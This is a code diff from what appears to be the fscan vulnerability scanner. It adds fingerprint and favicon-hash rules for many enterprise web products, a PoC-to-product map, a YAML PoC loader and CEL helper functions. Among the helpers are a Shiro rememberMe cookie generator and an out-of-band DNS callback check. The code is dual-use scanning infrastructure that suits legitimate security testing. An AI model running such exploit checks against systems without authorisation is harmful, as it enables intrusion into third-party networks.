{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
{"正方OA", "code", "(zfoausername)"},
{"希尔OA", "code", "(/heeroa/login.do)"},
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
{"海天OA", "code", "(HTVOS.js)"},
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
{"网神防火墙", "code", "(css/lsec/login.css)"},
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
{"weblogic", "headers", "(WebLogic)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
{"CMS", "code", "(Powered by .*CMS)"},
{"目录遍历", "code", "(Directory listing for /)"},
{"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
{"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
{"RabbitMQ", "code", "(RabbitMQ Management)"},
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
{"Spring env", "code", "(logback)"},
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网", "d8d7c9138e93d43579ebf2e384745ba8"},
{"锐捷网", "d8d7c9138e93d43579ebf2e384745ba8"},
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
@@ -142,11 +275,40 @@ var Md5Datas = []Md5Data{
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
}
var PocDatas = []PocData{
{"致远OA", "seeyon"},
{"泛微OA", "weaver"},
{"通达OA", "tongda"},
{"蓝凌OA", "landray"},
{"ThinkPHP", "thinkphp"},
{"Nexus", "nexus"},
{"齐治堡垒机", "qizhi"},
{"weaver-ebridge", "weaver-ebridge"},
{"weblogic", "weblogic"},
{"zabbix", "zabbix"},
{"VMware vSphere", "vmware"},
{"Jboss", "jboss"},
{"用友", "yongyou"},
{"用友IUFO", "yongyou"},
{"coremail", "coremail"},
{"金山", "kingsoft"},
}
+356 -491
View File
File diff suppressed because it is too large Load Diff
+260
View File
@@ -0,0 +1,260 @@
package lib
import (
"context"
"crypto/tls"
"embed"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 5 * time.Second
)
func Inithttp() {
//common.Proxy = "http://127.0.0.1:8080"
if common.PocNum == 0 {
common.PocNum = 20
}
if common.WebTimeout == 0 {
common.WebTimeout = 5
}
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
if err != nil {
panic(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if common.Socks5Proxy != "" {
dialSocksProxy, err := common.Socks5Dailer(dialer)
if err != nil {
return err
}
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
tr.DialContext = contextDialer.DialContext
} else {
return errors.New("Failed type assertion to DialContext")
}
} else if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("no support this proxy")
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
type Poc struct {
Name string `yaml:"name"`
Set StrMap `yaml:"set"`
Sets ListMap `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Groups RuleMap `yaml:"groups"`
Detail Detail `yaml:"detail"`
}
type MapSlice = yaml.MapSlice
type StrMap []StrItem
type ListMap []ListItem
type RuleMap []RuleItem
type StrItem struct {
Key, Value string
}
type ListItem struct {
Key string
Value []string
}
type RuleItem struct {
Key string
Value []Rules
}
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
// var tmp yaml.MapSlice
// if err := unmarshal(&tmp); err != nil {
// return err
// }
// //for _,one := range tmp{
// // key,value := one.Key.(string),one.Value.(string)
// // *r = append(*r,StrItem{key,value})
// //}
// return nil
//}
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key := one.Key.(string)
var value []string
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
Continue bool `yaml:"continue"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
fmt.Println("[-] load poc ", f, " error:", err)
}
}
return pocs
}
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
data, err := os.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
return nil, err
}
return p, err
}
+219 -10
View File
@@ -2,19 +2,24 @@ package lib
import (
"bytes"
"compress/gzip"
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
"github.com/shadow1ng/fscan/common"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io"
"math/rand"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"
)
@@ -24,6 +29,9 @@ func NewEnv(c *CustomLib) (*cel.Env, error) {
}
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
if expression == "" {
return types.Bool(true), nil
}
ast, iss := env.Compile(expression)
if iss.Err() != nil {
//fmt.Printf("compile: ", iss.Err())
@@ -99,7 +107,7 @@ func NewEnvOption() CustomLib {
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
@@ -127,6 +135,10 @@ func NewEnvOption() CustomLib {
decls.NewOverload("randomUppercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomString",
decls.NewOverload("randomString_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
@@ -171,6 +183,26 @@ func NewEnvOption() CustomLib {
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("TDdate",
decls.NewOverload("tongda_date",
[]*exprpb.Type{},
decls.String)),
decls.NewFunction("shirokey",
decls.NewOverload("shiro_key",
[]*exprpb.Type{decls.String, decls.String},
decls.String)),
decls.NewFunction("startsWith",
decls.NewInstanceOverload("startsWith_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("istartsWith",
decls.NewInstanceOverload("startsWith_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("hexdecode",
decls.NewInstanceOverload("hexdecode",
[]*exprpb.Type{decls.String},
decls.Bytes)),
),
}
c.programOptions = []cel.ProgramOption{
@@ -190,7 +222,7 @@ func NewEnvOption() CustomLib {
},
},
&functions.Overload{
Operator: "string_bmatch_bytes",
Operator: "string_bmatches_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
@@ -252,6 +284,16 @@ func NewEnvOption() CustomLib {
return types.String(randomUppercase(int(n)))
},
},
&functions.Overload{
Operator: "randomString_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
}
return types.String(randomString(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
@@ -403,6 +445,75 @@ func NewEnvOption() CustomLib {
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "tongda_date",
Function: func(value ...ref.Val) ref.Val {
return types.String(time.Now().Format("0601"))
},
},
&functions.Overload{
Operator: "shiro_key",
Binary: func(key ref.Val, mode ref.Val) ref.Val {
v1, ok := key.(types.String)
if !ok {
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
}
v2, ok := mode.(types.String)
if !ok {
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
}
cookie := GetShrioCookie(string(v1), string(v2))
if cookie == "" {
return types.NewErr("%v", "key b64decode failed")
}
return types.String(cookie)
},
},
&functions.Overload{
Operator: "startsWith_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
}
// 不区分大小写包含
return types.Bool(bytes.HasPrefix(v1, v2))
},
},
&functions.Overload{
Operator: "startsWith_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "hexdecode",
Unary: func(lhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
}
out, err := hex.DecodeString(string(v1))
if err != nil {
return types.ValOrErr(lhs, "hexdecode error: %v", err)
}
// 不区分大小写包含
return types.Bytes(out)
},
},
),
}
return c
@@ -417,8 +528,9 @@ func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
for k, v := range args {
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
for _, item := range args {
k, v := item.Key, item.Value
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
@@ -433,26 +545,31 @@ func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
}
}
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}
func randomUppercase(n int) string {
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return RandomStr(randSource, uppercase, n)
}
func randomString(n int) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return RandomStr(randSource, charset, n)
}
func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" {
if ceyeApi == "" || r.Domain == "" || !common.DnsLog {
return false
}
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
fmt.Println(urlStr)
//fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
@@ -460,6 +577,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
}
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
fmt.Println(urlStr)
return true
}
return false
@@ -486,3 +604,94 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
}
return string(randBytes)
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
//fmt.Println("[-]DoRequest error: ",err)
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
common.LogError("[-] ParseResponse error: " + err.Error())
//return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := io.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = io.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = strings.Join(oResp.Header.Values(k), ";")
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, _ := getRespBody(oResp)
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) (body []byte, err error) {
body, err = io.ReadAll(oResp.Body)
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
reader, err1 := gzip.NewReader(bytes.NewReader(body))
if err1 == nil {
body, err = io.ReadAll(reader)
}
}
if err == io.EOF {
err = nil
}
return
}
-176
View File
@@ -1,176 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/tls"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 0,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
return nil
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
+402 -236
View File
@@ -1,354 +1,520 @@
//go:generate protoc --go_out=. http.proto
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.3
// source: http.proto
package lib
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type UrlType struct {
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
}
func (m *UrlType) Reset() { *m = UrlType{} }
func (m *UrlType) String() string { return proto.CompactTextString(m) }
func (*UrlType) ProtoMessage() {}
func (x *UrlType) Reset() {
*x = UrlType{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *UrlType) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*UrlType) ProtoMessage() {}
func (x *UrlType) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use UrlType.ProtoReflect.Descriptor instead.
func (*UrlType) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{0}
return file_http_proto_rawDescGZIP(), []int{0}
}
func (m *UrlType) XXX_Unmarshal(b []byte) error {
